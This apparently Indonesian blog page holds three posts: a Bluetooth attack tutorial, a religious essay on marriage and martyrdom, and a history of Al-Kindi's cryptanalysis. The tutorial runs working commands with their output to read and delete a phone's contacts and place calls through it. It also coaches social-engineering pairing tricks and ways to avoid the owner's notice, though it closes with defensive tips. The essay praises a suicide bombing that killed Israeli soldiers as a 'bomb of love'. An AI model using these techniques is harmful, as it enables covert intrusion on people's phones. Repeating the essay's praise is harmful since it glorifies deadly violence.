A Bluetooth [in]Security

Pengantar

Bluetooth adalah salah satu teknologi pengganti kabel yang mengkonsumsi sedikit tenaga listrik, memiliki harga yang relatif murah, berjarak relatif pendek (10-100m), dan dapat digunakan untuk pertukaran data dan suara. Riset tentang teknologi "bluetooth" yang telah dilakukan oleh ericsson(tm) pada tahun 1998 telah memberikan dampak yang cukup besar pada teknologi "pengganti kabel" atau yang lebih sering aku kenal dengan "wireless technology".

Riset ini Kemudian dilanjutkan oleh sebuah grup yang menamakan dirinya Special Interest Group dengan "codename" bluetooth dan telah di dukung oleh banyak perusahaan besar yang berkepentingan dengan teknologi ini. Sehingga pada tahun 1999 dikeluarkanlah versi pertama (bluetooth ver 1.0) dan versi yang sekarang digunakan adalah versi 2.0 (merupakan ver 1.2 ditambah EDR). Teknologi bluetooth sampai saat ini tetap dipakai dan di kembangkan pada kurang lebih 856 produk[3].

Why attacking bluetooth ?

1. Bluetooth dipakai pada peralatan pribadi yang umumnya menyimpan informasi penting yang bersifat pribadi juga dan menjadikannya sebagai target yang berharga bagi penyerang.

2. Untuk menyerang device bluetooh penyerang tidak perlu untuk melewati Lapisan firewall, policy, third party security application, IDS/IPS.

3. Bisa ditemukan dibanyak tempat di karenakan layanan ini di pakai dibanyak "device".

Technical Details

- Menggunakan frekuensi 2,4GHz

- 79 channel, dengan lompatan frekuensi 1600 hops/second

- Menggunakan "single chip radio" sehingga harganya relatif murah

- Memiliki "range" 10-100 Meter

- Menggunakan 2.5 mW

- Memiliki Data Rate 1Mbps

Bluetooth Mode

1. Service mode

a. mode menyala ("on" mode ). Untuk mode "on" terdapat mode "discoverable" dan "un-discoverable", dimana pada saat discoverable "device" akan dapat dan untuk di temukan oleh "device" lain. Sedangkan un-discoverable mode mengakibatkan secara umum tidak dapat di temukan oleh "device" lain.

b. mode tidak menyala ( "off" mode ). Layanan bluetooth mati pada mode ini

c. mode otomatis ( "automatic" mode ). Layanan ini akan memudahkan aplikasi untuk menggunakan layanan bluetooth

2. Security mode

a. Security mode level 1. Tidak ada mode sekuriti sama sekali

b. Security mode level 2. Sekuriti terdapat pada level "service", tetapi pada level "device" tidak ada.

c. Security mode level 3

Sekuriti terdapat pada level "device" dan menerapkan sekuriti pada setiap level yang lebih rendah.

Short post here

Extended post here

Bluetooth Security threat

1. Bluejacking

Teknik ini dilakukan dengan cara mengirimkan pesan/gambar/nomer telpon tanpa ijin kepada target, tujuannya adalah mulai dari perbuatan iseng sampai pada "social engineering" untuk memancing target melakukan pairing kepada "device" penyerang.

2. Bluesnarfing

Teknik ini mengijinkan penyerang untuk terhubung ke "device" milik target tanpa diketahui pemiliknya dan akan mengakibatkan penyerang dapat mengakses data data penting yang tersimpan didalam "device" target seperti daftar nomer telepon (buku telepon), "business card", "images" bahkan IMEI (International Mobile Equipment Identity ) yang dapat mengakibatkan nomer tersebut untuk di "clonning".

3. BlueBugging

Teknik ini mengakibatkan "device" target dan penyerang terhubung secara serial dan mengakibatkan penyerang memiliki kendali penuh terhadap "device" target sehingga penyerang juga dapat mengeksekusi set perintah AT (ASCII Terminal) diantaranya untuk melakukan panggilan, mengirim dan membaca SMS, melakukan koneksi jaringan bahkan internet melalui "device" target sampai kepada "identity theft".

4. BlueSmack

Teknik ini melakukan serangan Denial Of Service terhadap device target, salah satu caranya adalah memanfaatkan perintah l2ping pada protokol L2CAP.

5. Backdoor Attack

Teknik ini adalah dengan memanfaatkan "pairing" yang telah tercipta antara "device" target dan penyerang. Memanfaatkan Kelengahan Target dan Teknik social engineering.

Basic Penetration

Berikut akan contoh penetrasi mendasar terhadap bluetooth sekuriti, dengan harapan akan memberikan pemahaman mendalam tentang ini.

Info

Target : Mobile phone Sony ericsson t68i

Penyerang : Toshiba tecra 8100

Linux Ubuntu 5.10 Operating system

USB bluetooth dongle with Bluez

Tools : Bluesnarfer, Bluez-utils, RedFang

Preparation

Sekarang lakukan checking terhadap bluetooth device (USB dongle) menggunakan hciconfig (packet Bluez)

//--- command ----//

y3dips@hogwartz:~$ hciconfig -a hci0

hci0: Type: USB

BD Address: 00:09:DD:10:4E:B1 ACL MTU: 192:8 SCO MTU: 64:8

UP RUNNING PSCAN ISCAN

RX bytes:394 acl:0 sco:0 events:18 errors:0

TX bytes:319 acl:0 sco:0 commands:17 errors:0

Features: 0xff 0xff 0x0f 0x00 0x00 0x00 0x00 0x00

Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3

Link policy: RSWITCH HOLD SNIFF PARK

Link mode: SLAVE ACCEPT

Name: 'hogwartz-0'

Class: 0x3e0100

Service Classes: Networking, Rendering, Capturing

"device" Class: Computer, Uncategorized

HCI Ver: 1.1 (0x1) HCI Rev: 0x460 LMP Ver: 1.1 (0x1) LMP Subver: 0x460

Manufacturer: Cambridge Silicon Radio (10)

//--- command ----//

didapatkan beberapa informasi penting, diantaranya:

1. Type: USB

2. BD Address: 00:09:DD:10:4E:B1

3. Service Classes: Networking, Rendering, Capturing

Baiklah, ternyata "device" berjalan baik dan dikenali oleh system.

Scanning

Setelah semua persiapan berjalan dengan baik maka selanjutnya adalah menemukan target, untuk mendeteksi layanan bluetooth yang aktif (mode menyala) dan juga "discoverable", aku hanya menggunakan hcitool (paket Bluez)

//--- command ----//

y3dips@hogwartz:~$ hcitool scan

Scanning ...

00:0A:D9:49:B6:8B T68i

00:0C:55:FF:F3:B6 heaven-0

00:D5:F9:33:B6:A4 dodlesvck

00:60:57:44:56:B3 6310i

//--- command ----//

Yupe, ditemukan ada 4 buah "device"yang mengaktifkan layanan bluetoothnya. Putuskan untuk bereksplorasi satu persatu, untuk itu aku putuskan akan melakukan penetrasi sesuai urutan :)

Selanjutnya adalah melakukan perkenalan lebih jauh dengan "device" tersebut, dan untuk ini digunakanlah sdptool (paket bluez) untuk melakukan browsing dan secara spesifik tambahkan options "grep" khusus untuk menemukan service apa saja yang di layani oleh "device" tersebut, "device" akan di kenali dengan alamat bluetooth. Dalam hal ini untuk "device" pertama adalah 00:0A:D9:49:B6:8B

//--- command ----//

y3dips@hogwartz:~$ sdptool browse 00:0A:D9:49:B6:8B | grep Service\ Name

Service Name: Dial-up Networking

Service Name: Fax

Service Name: Voice gateway

Service Name: Serial Port 1

Service Name: Serial Port 2

Service Name: OBEX Object Push

Service Name: IrMC Synchronization

Service Name: Voice gateway

//--- command ----//

Dan kita dapatkan bahwa device tersebut memberikan service Dial-up Networking, Fax, Voice Gateway, Serial Port, OBEX, IrMC.

Untuk melakukan cek hubungan dengan device maka kita dapat melakukan ping.

//--- command ----//

y3dips@hogwartz:~$ sudo l2ping 00:0A:D9:49:B6:8B

Ping: 00:0A:D9:49:B6:8B from 00:09:DD:10:4E:B1 (data size 44) ...

0 bytes from 00:0A:D9:49:B6:8B id 0 time 46.69ms

0 bytes from 00:0A:D9:49:B6:8B id 1 time 31.24ms

0 bytes from 00:0A:D9:49:B6:8B id 2 time 37.95ms

0 bytes from 00:0A:D9:49:B6:8B id 3 time 33.01ms

0 bytes from 00:0A:D9:49:B6:8B id 4 time 48.04ms

5 sent, 5 received, 0% loss

//--- command ----//

Owning

Setelah melakukan Scanning dan mendapatkan alamat target dan informasi mengenai service yang dilayani oleh device tersebut maka selanjutnya kita akan melakukan "snarfing" terhadap bluetooth device (Bluesnarfing).

Salah satu serangan yang mungkin adalah membaca buku telepon dari device dengan menggunakan bluesnarfer.

//--- command ----//

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -r 1-10

"device" name: T68i

+ 1 - My Sephia /M : 08883535266

+ 3 - Mbah Marijan/W : 021454545

+ 5 - Osama Laden/W : 662224258

+ 7 - Warung Pecel Bu Roso/W : 0214545889

+ 9 - Superman/W : 911

bluesnarfer: release rfcomm ok

//--- command ----//

Selanjutnya kita juga dapat menghapus buku telepon

//--- command ----//

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -w 1-10

"device" name: T68i

delete of entry 1 successfull

delete of entry 2 successfull

delete of entry 3 successfull

delete of entry 4 successfull

delete of entry 5 successfull

delete of entry 6 successfull

delete of entry 7 successfull

delete of entry 8 successfull

delete of entry 9 successfull

delete of entry 10 successfull

bluesnarfer: release rfcomm ok

memeriksa apakah sudah terhapus

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -r 1-10

"device" name: T68i

bluesnarfer: release rfcomm ok

//--- command ----//

Selain itu aku akan mencoba melakukan Bluebugging dengan cara mengeksekusi perintah AT, dalam hal ini ATD (melakukan panggilan)

//--- command ----//

y3dips@hogwartz:~/bt/snarf$ sudo ./bluesnarfer -b 00:0A:D9:49:B6:8B -c 'ATD555;'

"device" name: T68i

custum cmd selected, raw output

OK

bluesnarfer: release rfcomm ok

y3dips@hogwartz:~/Desktop/bluetooth/pentest/snarf$

//--- command ----//

Tapi ingat, dengan melakukan panggilan ini maka akan tampak pada layar target bahwa sednag melakukan panggilan terhadap nomer tertentu. (Sehingga sebaiknya dalam melakukan panggilan pada saat target tidak berinteraksi langsung dengan device)

31337 Penetration

Backdooring

Teknik Backdooring ini bisa dilakukan dengan cara berinteraksi secara langsung ataupun tidak, teknik ini bertujuan membuat "device" target melakukan "pairing" dengan device penyerang. Social enggineering berperanan penting pada teknik ini.

Contoh:

a. Berinteraksi langsung

Seperti teknik social engineering yang pada umumnya dilakukan adalah dengan cara berinteraksi secara langsung dengan device target.

real life example:

Ingat, perubahan kartu SIM, menghidupkan dan mematikan Device tidak menghapus pairing yang telah terbuat, celah ini membuat aku berpura-pura kehabisan batere handphone dan meminjam handphone target untuk mengirim sms, agar target semakin yakin maka aku gunakan nomer yang aku miliki (agar lebih meyakinkan lagi maka sebiknya handphone kamu emang tidak bisa menyala), setelah itu cobalah lakukan pairing kedevice kamu, sebelum itu ada 2 hal yang harus aku lakukan

1. menentukan PIN untuk diisikan dari handphone target

//--- command ----//

root@hogwartz:~# echo "4321" > /etc/bluetooth/pin

//--- command ----//

2. Dan kamu perlu membaca syslog untuk mengetahui alamat target yang terhubung.

//--- command ----//

root@hogwartz:~# tail -f /var/log/syslog | grep hcid

Aug 21 20:25:30 localhost hcid[8880]: pin_code_request \

sba=00:09:DD:10:4E:B1, dba=00:0A:D9:49:B6:8B)

//--- command ----//

dan sekarang aku tinggal matikan handphone dan tukar kartu SIM kembali, selanjutnya tinggal bereksplorasi di "device" target.

b. Berinteraksi Tidak langsung

Cara kedua ini dikombinasikan dengan teknik BlueJacking, pada cara ini hanya perlu mengirimkan gambar/text/lagu/ atau apapun ke device target sehingga target akan melakukan cek terhadap info device pengirim yang tampil pada "device" target dan jika target berniat menerima gambar/text/lagu/ tersebut maka dia harus melakukan pairing dan perlu memasukan sebaris PIN.

(nama device; yang bisa di definisikan pada deviceku), Karena karakter di beberapa "device", jumlah karakter tidak dibatasi maka memungkinkan kita untuk menuliskan sebaris kalimat yang "membujuk" (inti social engineering) seperti "FOTO NADINE NIH?" atau "UNTUK MENERIMA KETIKKAN 4321". Selanjutnya tinggal tunggu hasil pairing kita J.

Detecting the undetected

Baiklah, sekarang bagaimana kalau "device" tersebut tidak di set discoverable sehingga kesulitan mendapatkan alamat device, dan tidak mungkin meminjam handphone ("device") target karena satu dan lain hal (pelit mungkin:P). Beruntunglah ada satu tools yang dipublikasikan dengan nama "redfang" dan mampu mendeteksi "device" bluetooth yang menyalakan layanannya tetapi tidak di set discoverable.

//--- command ----//

y3dips@hogwartz:~/bt/fang$ sudo ./redfang -r 000AD949B689-000AD949B68D

redfang - the bluetooth hunter ver 2.5

(c)2003 @stake Inc

author: Ollie Whitehouse

enhanced: threads by Simon Halsall

enhanced: "device" info discovery by Stephen Kapp

Scanning 5 address(es)

Address range 00:0a:d9:49:b6:89 -> 00:0a:d9:49:b6:8d

Found: T68i [00:0a:d9:49:b6:8b]

Getting "device" Information.. Failed.

//--- command ----//

Akhirnya mendapatkan alamat target. :), salah satu kelemahannya adalah kecepatannya dalam menemukan adalah sangat lambat, gunakan options "-t" untuk meningkatkan waktu timeout dan mempercepat scanning. atau bisa melakukan "recursive execute". (automated ? -- in proggress)

Mitos dalam "bluetooth [in]security"

1. Matikan saja layanan Bluetoothnya niscaya akan aman

Mematikan layanan bluetooth ("off" mode) pada "device" tidaklah 100% akan membuat "device" aman. Serangan yang mungkin dilakukan adalah Social engginering dan Malicious program (virus, worm & trojan) yang dapat secara otomatis menyalakan layanan bluetooh ("on" mode) atau bahkan melakukan pairing/backdoor attack ke bluetooth "device". Jadi perkuat device anda dengan firewall dan juga antivirus

2. Di Buat "[un]discoverable" akan aman

Lihat bagian 31337 penetration pada bagian kedua Detecting the undetected

3. Tidak ada informasi penting di bluetooth "device"

Salah, ambil contoh "mobile "device" (phone, smart phone, laptop)" Hampir seluruh data penting tersimpan, misalkan mobile phone, disana terdapat seluruh nomer nomer yang penting bagi anda meskipun anda tidak termasuk orang penting :P.

4. Jaraknya pendek

Jarak bluetooth device umumnya pendek 10-100 Meter, tetapi dengan adanya teknik untuk memperkuat signal[6] maka jangkauan pun bisa di perjauh bahkan sampai 1 km.

5. Penyerangnya pasti akan tampak "aneh" dan "mencurigakan" [karena membawa-bawa laptop dan bluetooth device yang di modifikasi (perkuat sinyal)?]

Tidak juga, bahkan sekarang via mobile phone/PDA (java supported) bisa melakukan "assessment"[2].

Bertahan ?

1. Update informasi anda tentang "device" anda (khususnya soal security)
2. Update Frimware anda, jikalau termasuk "device" yang di curigai
3. Periksa daftar "trusted Pair", hapus yang sudah tidak dibutuhkan, hindari backdoor attack
4. Gunakan Fitur keamanan tambahan (eg: Antivirus, Firewall)
5. Untuk meminimalisir serangan matikan layanan bluetooth anda jika tidak digunakan
6. Jikapun dibutuhkan, buatlah PIN yang relatif kuat.
7. Pastikan untuk tidak sembarangan melakukan koneksi/pairing (eg: terima file dari "unknown device")

Clue

Sebagian handphone memiliki celah terserang teknik bluesnarfing ataupun bluebug saat visible (discoverable) dan sebagian lainnya non-visible (non-discoverable), sementara beberapa jenis lainnya tidak vulnerable kecuali dengan menggunakan backdoor attack dan teknik bluejacking (Social engineering)

Kamus

Pairing adalah suatu bagian (state) yang dilakukan apabila dua buah "device" setuju untuk berkomunikasi satu sama lainnya, setelah state ini terjadi maka apabila ingin terjadi komunikasi ulang maka akan membypass proses pencarian (discovery) dan otentikasi (authentication) yang biasa terjadi pada saat interaksi.

Referensi

1. y3dips, "Owned a mobile "device" via bluetooth", dipresentasikan dan didemokan pada "Cryptography and Wireless security seminar", 2006
2. Trifinite official site`s. http://trifinite.org
3. SIG. http://bluetooth.org
4. http://thebunker.net
5. wikipedia. http://en.wikipedia.org
6. bluesniper. http://www.tomsnetworking.com/2005/03/08/how_to_bluesniper_pt1/
   

Menjelang Hari Pernikahan

Carilah cinta yang sejati.
Yang ada hanyalah pada-Nya
Carilah cinta yang hakiki
Yang hanya pada-Nya yang Esa

Carilah cinta yang abadi
Yang ada hanyalah pada-Nya
Carilah kasih yang kekal selamanya
Yang ada hanyalah pada Tuhan-mu

Di dalam mencari cinta yang sejati
Banyaknya ranjau kan ditempuhi
Di dalam mendapat cinta yang hakiki
Banyaknya onak yang dilewati

Namun janji-Nya kepada hamba-nya
Tidak pernah dimungkiri
Dan tidak pernah melupakanmu.
Yakinlah kepada Tuhanmu
Karena Dialah cinta yang hakiki.

~O~o-Raihan-o~O~

Kelahiran, pernikahan dan kematian. Demikian siklus kehidupan yang sering digambarkan oleh kebanyakan manusia. Pernikahan menjadi bagian bersejarah dan sakral. Apa arti pernikahan bagi manusia?

Menikah bagi sebagian manusia adalah beban. Karena berarti harus siap berbagi dengan orang lain, pun harus memiliki keturunan. Bagi kebanyakan orang di Barat, menikah bukanlah sesuatu yang sakral lagi. Menikah sangatlah merepotkan. Harus memiliki anak dan sebagainya. Mereka lebih memilih untuk tidak menikah. Untuk apa menikah bila harus terikat, dan tidak bisa bebas menyalurkan kebutuhan seksnya dengan siapa saja. Memiliki anak pun dianggap beban. Bahkan orang-orang di Jepang membuat perhitungan yang rumit tentang biaya pendidikan bila sampai memiliki anak. Stres. Di Jerman, pemerintah menawarkan pembiayaan bagi mereka yang mau melahirkan dan membesarkan anak-anaknya.

Menikah bagi sebagian manusia adalah syarat untuk melegalkan asmara. Sudah sekian tahun berpacaran dan mengenal. Lantas apalagi yang ditunggu? Daripada nanti berzina. Menikah diartikan sebagai penyatuan cinta semata. Lebih dari itu tidak. Anak yang kelak akan dilahirkan, diplanningkan hanya dalam masalah pendidikan saja ; S1, S2, dst.. Bahkan atas nama cinta pula, bila cinta sudah luntur dan hambar, maka perceraian menjadi mudah.

Menikah bagi sebagian manusia, adalah salah satu cara untuk mendekatkan diri kepada Tuhannya. Menundukkan pandangan dan memelihara kemaluan. Menikah adalah bagian dari idealismenya untuk memakmurkan bumi dengan keturunan yang dapat menegakkan kalimah Tuhannya. Keturunan yang sholeh, akan membawa kedua orang tuanya menuju surga yang luasnya seluas langit dan bumi. Pernikahan orang-orang ini, sangat selektif. Menikah dengan pendamping yang juga sholeh adalah harapan untuk dapat saling mengokohkan di tengah peperangan antara yang haq dan yang batil. Maka tidak bisa tidak, syarat pendamping yang haraki dan se-fikrah seakan menjadi wajib hukumnya bagi mereka.

Short post here

Extended post here

Pernikahan Atas Nama Cinta?

Sebagian manusia ingin menikah karena cinta yang memabukkan. Tak sabar ingin memadu cinta. Larangan Tuhannya ditabrak. Pacaran menjadi halal. Siang dan malam yang terbayang hanyalah wajah si dia. Lagu-lagu cinta melankolis menjadi alunan indah dari hati yang merindu. Bila sang kekasih dekat, ia takut berpisah. Bila sang kekasih jauh, hatinya resah gelisah menahan kerinduan. Lalainya hati karena disibukkan oleh selain-Nya adalah kesengsaraan dan kerugian tidak hanya di dunia, tetapi juga di akhirat.

Menikah adalah moment yang dinanti. Didamba. Seakan-akan, menikah adalah terminal akhir dari kisah percintaan. Dunia penuh dengan hingar bingar cinta nafsu yang memang di blow up oleh media-media. Lagu, sinetron, film. semuanya atas nama cinta. Cinta nafsu. Thaghut baru.

Sebagian orang mengatakan bahwa menikahi sang kekasih adalah karena cintanya kepada Allah Subhanahu wa Ta'ala. Apakah benar cinta karena Allah Subhanahu wa Ta'ala? Karena jika saja cinta itu benar karena Allah Subhanahu wa Ta'ala, niscaya akan membawa diri semakin dekat kepada-Nya. Maka patut dipertanyakan cintanya itu, apakah benar karena Allah Subhanahu wa Ta'ala atau hawa nafsu semata.

Cinta. Meminta dan memberi cinta dari dan kepada yang belum berhak. Alangkah malunya hati bila memberikan cinta pada yang tidak berhak. Tiadalah berhak memberikannya, karena sudah ada pemiliknya, meski belum tahu siapakah belahan jiwa itu. karena pasangan jiwa adalah rahasia Allah. "Dan diantara manusia ada orang-orang yang menyembah tandingan-tandingan selain Allah, maka mereka mencintainya sebagaimana mereka mencintai Allah. Adapun orang-orang yang beriman amat sangat cintanya kepada Allah. Dan jika seandainya orang-orang yang berbuat zalim itu mengetahui ketika mereka melihat siksa (pada hari kiamat), bahwa kekuatan itu kepunyaan Allah semuanya, dan bahwa Allah amat berat siksaanNya (niscaya mereka menyesal)." (QS. Al Baqarah : 165)

Mereka Menjemput Kematian

Pernikahan identik dengan kebahagiaan, sedang kematian, identik dengan kesedihan. Tetapi tidak selamanya demikian. Bisa jadi, kematian lebih membahagiakan ketimbang pernikahan. Dan sementara sebagian orang mengejar cinta dan disibukkan angan-angan akan pernikahan dengan sang kekasih, para pejuang justru sibuk menggadaikan seluruh yang mereka miliki, termasuk pernikahannya demi sebuah perniagaan yang balasannya adalah syurga.

Ayat Al Akrash. 17 tahun. Menggapai syahadah menjelang pernikahannya. Pernikahan yang seharusnya menjadi penantian semua gadis. Menikah di kemelut perjuangan membebaskan bangsa dari penjajahan? Ayat Al Akrash bukannya tak punya cinta. Ia mencintai calon suaminya. Tetapi, ada yang lebih tinggi dari cinta kepada manusia, yaitu cinta kepada Allah Subhanahu wa Taala. Ya, dan bom cinta itu menewaskan 3 tentara Israel dan melukai 70 orang lainnya. Subhanallah. Ayat kini telah menjadi mempelai wanita seluruh warga Palestina dan pejuang Islam sedunia.

Zahid. 35 th. Sahabat Rasulullah SAW ini akan menikah dengan wanita yang sholehah, sangat cantik dan terhormat. Ia tengah mempersiapkan pernikahannya. Panggilan jihad berkumandang. Para sahabat menyarankan kepadanya untuk tidak ikut berjihad, karena ia akan berbulan madu. Tetapi apa jawaban sang pejuang ini? Zaid menjawab dengan tegas, "Itu tidak mungkin!" Lalu Zahid menyitir ayat, "Jika bapak-bapak, anak-anak, saudara-saudara, istri-istri kaum keluargamu, harta kekayaan yang kamu usahakan, perniagaan yang kamu khawatiri kerugiannya dan rumah-rumah tempat tinggal yang kamu sukai, adalah lebih baik kamu cintai daripada Allah dan Rasul-Nya (dari) berjihad di jalan-Nya. Maka tunggulah sampai Allah mendatangkan keputusan-Nya. Dan Allah tidak memberi petunjuk kepada orang-orang fasik" (QS. 9:24). Dan majulah Zahid ke medan pertempuran. Menggapai syahid.

Abdurrahman bin Abu Bakar. Menikah dengan 'Atikah. Ia sangat mencintai isterinya karena agama dan akhlaknya. Yang karena kecintaannya itu, membuat Abdurrahman betah di rumah dan beberapa kali tidak shalat berjamaah di masjid. Mengetahui hal ini, Abu Bakar menyuruhnya menceraikan saja isterinya itu. Dan Abdurrahman bersyair dengan sedih untuk isterinya, "Demi Allah tidaklah aku melupakanmu walau matahari kan terbit meninggi dan tidaklah terurai air mata merpati itu kecuali berbagi hati. Tidak pernah kudapatkan orang sepertiku mentalak orang seperti dia, dan tidaklah orang seperti dia ditalak karena dosanya. Dia berakhlak mulia, beragama dan bernabikan Muhammad. Berbudi pekerti tinggi bersifat pemalu dan halus tutur katanya.." Namun kecintaan yang dalam kepada 'Atikah tidak menghalanginya untuk memenuhi panggilan Allah kala jihad dikumandangkan. Ada cinta di atas cinta. Ia tinggalkan isterinya dan berjuang hingga syahid. Mati di jalan Allah adalah cita-cita kami tertinggi.

Hanzolah. Sahabat Rasulullah SAW. Pengantin baru. Malam pertama. Panggilan jihad berkumandang. Dan ia memenuhi panggilan itu hingga menggapai syahid, dalam keadaan masih junub. Dimandikan oleh para malaikat. Diabadikan dalam catatan sejarah kafilah para syuhada.

Yaseen Al Jazairi. Pejuang dari Algeria. Syahid di Afghanistan pada tahun 1989. Akan menikah. Namun panggilan jihad di Afghanistan membuatnya rela menggadaikan tabungan pernikahannya untuk membeli tiket ke tanah jihad, Afghanistan, dan syahid di sana.

Say: If your fathers, your sons, your brothers, your wives, your kindred, the wealth that you have gained, the commerce in which you fear a decline, and the dwellings in which you delight, are dearer to you than Allah and His Messenger, and striving hard and fighting in His Cause, then wait until Allah brings about His Decision (torment). And Allah guides not the people who are Al-Fasiqoon (the rebellious, disobedient) to Allah." [Quran 9:24].

Mereka Dijemput Kematian

Menikah!! Begitu banyak harapan yang manusia inginkan pada calon pasangannya. Harus begini dan begitu. Sebagai tanda kehati-hatian dalam memilih. Namun janganlah bergantung pada manusia, siapapun itu.. Karena manusia tetaplah manusia, yang jiwanya ada dalam genggaman-Nya.

Seorang ikhwan berta'aruf dengan seorang akhwat. Hari pernikahan sudah ditentukan. Kala sang akhwat usai membeli pakaian pernikahan bersama calon mertuanya, mobil yang mereka kendarai bertabrakan dengan sebuah truk. Sang akhwat meninggal dengan wajah hancur. Sang calon suami melepas kepergiannya di pemakaman dengan kesedihan yang mendalam. Ia berjanji tidak akan menikah, kecuali sampai tiga tahun lagi karena sangat sulit baginya untuk melupakan calon isteri. Masih sering teringat di benaknya ketika mereka berta'aruf, yang tentunya tidak berduaan, melainkan ditemani oleh teman-teman akhwat yang lainnya, beramai-ramai.

Kisah yang tak jauh berbeda. Ikhwan dan akhwat yang baru saja usai acara ijab qabul. Dalam resepsi pernikahan, sang akhwat meninggal dunia karena memang tengah sakit. Suaminya sangat berduka. Pun banyak kisah-kisah ikhwah yang kematian menjemput dikala pernikahan sudah tinggal hitungan hari.

Penutup

Banyak manusia yang berangan muluk dan berhasrat dengan cinta yang memenuhi segenap jiwa, dan hari-harinya disibukkan oleh sang kekasih, hingga lalai pada Allah Subhanahu wa Ta'ala, tetapi laa haula wala quwwata illa billah., ternyata didahului takdir dan kematian merenggut nyawa.

Pernikahan menjadi moment yang paling dinanti oleh kebanyakan manusia di dunia dan semua orang seakan berlomba mengagungkan cinta. Tetapi diantara manusia-manusia itu, masih ada orang-orang yang rela meninggalkan apa yang didamba oleh kebanyakan manusia, demi sebuah cinta sejati dan kerinduan akan kehidupan yang abadi.

"Hai jiwa yang tenang. Kembalilah kepada Tuhan-mu dengan hati yang puas lagi diridhai-Nya. Maka masuklah ke dalam jemaah hamba-hamba-Ku, dan masuklah ke dalam surga-Ku." (QS. Al Fajr : 27 - 30).

sumber: sarikata.com

Kitab Kriptografi Al-Kindi

Risalah fi Istikhraj al-Mu’amma

Peradaban Islam memang pernah jaya dan akan jaya kembali. Di masa keemasannya, ilmuwan Islam menguasai dunia lewat berbagai ilmu pengetahuan dan teknologi. Nyaris tidak ada cabang ilmu yang tidak dikuasai, bahkan hingga ke teknologi militer sekalipun. Namun barangkali tidak ada yang menyangka bahwa Islam sudah memiliki sosok dan kitab pemecah kode sejak berabad-abad lalu.

Adalah Abu Yusuf Yaqub Ibnu Ishaq Ibnu As-Sabbah Ibnu 'Omran Ibnu Ismail Al- Kindi, atau yang lebih dikenal sebagai Al-Kindi yang melakukannya. Selain dikenal sebagai salah satu filsuf kenamaan Islam, ia juga menulis buku tentang kriptologi atau seni memecahkan kode. Dalam buku yang berjudul Risalah fi Istikhraj al-Mu'amma (Manuscript for the Deciphering Cryptographic Messages) ini, ia menuliskan naskah untuk menguraikan kode-kode rahasia.

Dalam buku ini, Al-Kindi memperkenalkan teknik penguraian kode atau sandi-sandi yang sulit dipecahkan. Ia juga mengklasifikasikan sandi-sandi rahasia itu serta menjelaskan ilmu fonetik Arab dan sintaksisnya. Yang paling penting lagi, dalam bukunya ini ia mengenalkan penggunaan beberapa teknik statistika untuk memecahkan kode-kode rahasia.

Kitabnya mengenai kriptografi sangat mungkin bisa terwujud mengingat dia adalah seorang yang pakar di bidang ilmu hitung/matematika. Di area ilmu ini, ia menulis empat buku mengenai sistem penomoran dan menjadi dasar bagi aritmatika modern. Berbicara tentang sistem penomoran, tak bisa dipungkiri peran Al Khawarizmi di dalamnya. Namun, Al Kindi juga menaruh kontribusi dalam hal ini. Ia juga berkontribusi besar dalam bidang geometri bola, bidang yang sangat mendukungnya dalam studi astronomi.

Short post here

Extended post here

Pesinggungannya dengan dunia ilmiah di pusat ilmu pengetahuan Islam pada zaman keemasan -- Baghdad -- dimulai saat ia melamar sebagai penulis kaligrafi di akademi paling populer saat itu, House of Wisdom. Bersama Al Khawarizmi dan Banu Musa bersaudara, ia ditugasi menerjemahkan karya-karya Yunani ke dalam bahasa Arab oleh khalifah Al Makmun.

Dia tak banyak terlibat dalam penerjemahan langsung sebetulnya, karena tugas pokok dia adalah mengedit dan mengoreksi. Al Kindi sangat mengagumi pemikiran-pemikiran filsuf Yunani-Romawi. Ia sangat terilhami oleh filsuf besar dua Yunani, Socrates dan Aristoteles. Pengaruh dua tokoh ini bisa dilihat dalam karya-karya Al Kindi di kemudian hari.

Bekerja di bidang sandi-sandi rahasia dan pesan-pesan tersembunyi dalam naskah-naskah asli Yunani dan Romawi mempertajam nalurinya dalam bidang kriptoanalisa. Ia menjabarkannya dalam sebuah makalah, yang setelah dibawa ke Barat beberapa abad sesudahnya diterjemahkan sebagai Manuscript on Deciphering Cryptographic Messages.

Di dalamnya antara lain mengungkapkan: "Satu cara untuk memecahkan kode rahasia, jika kita tahu bahasanya, adalah dengan menemukan satu naskah asli yang berbeda dari bahasa yang sama, lalu kita hitung kejadian-kejadian pada tiap naskah. Pilah menjadi naskah kejadian satu, kejadian dua, dan seterusnya. Kemudian kita lihat teks rahasia yang ingin kita pecahkan, dan mulailah mengklasifikasikan simbol-simbolnya. Kita lalu menemukan simbol yang paling sering muncul, lalu ubahlah dengan catatan kejadian satu, dua dan seterusnya itu, sampai seluruh simbol itu terbaca."

Teknik Al Kindi ini kemudian dikenal sebagai analisa frekuensi dalam kriptografi, yaitu cara paling sederhana untuk menghitung persentase bahasa khusus dalam naskah asli, persentase huruf dalam kode rahasia, dan menggantikan simbol dengan huruf.

Dalam dunia Islam dan dunia pada umumnya, Al-Kindi dikenal sebagai filsuf Arab kenamaan. Karya-karyanya yang luar biasa menempatkannya pada posisi tertinggi di bidang ilmu pengetahuan. Namun meski dikenal sebagai seorang filsuf kenamaan asal Dinasti Abassiyah, ia juga menguasai berbagai cabang ilmu lainnya seperti kedokteran, matematika, musik, astrologi, dan ilmu optik.

Al-Kindi (801-873)

Lahir: Kufa, Arab.

Pekerjaan awal: penerjemah, penulis kaligrafi

Bidang yang dikuasai: filsafat, kedokteran, musik, astronomi, geografi, matematika, farmakologi, kriptografi.

Karya: 205 buku, antara lain Geometri (32 buku), pengobatan dan filosofi (22 buku), logika (9 buku), fisika (12 buku).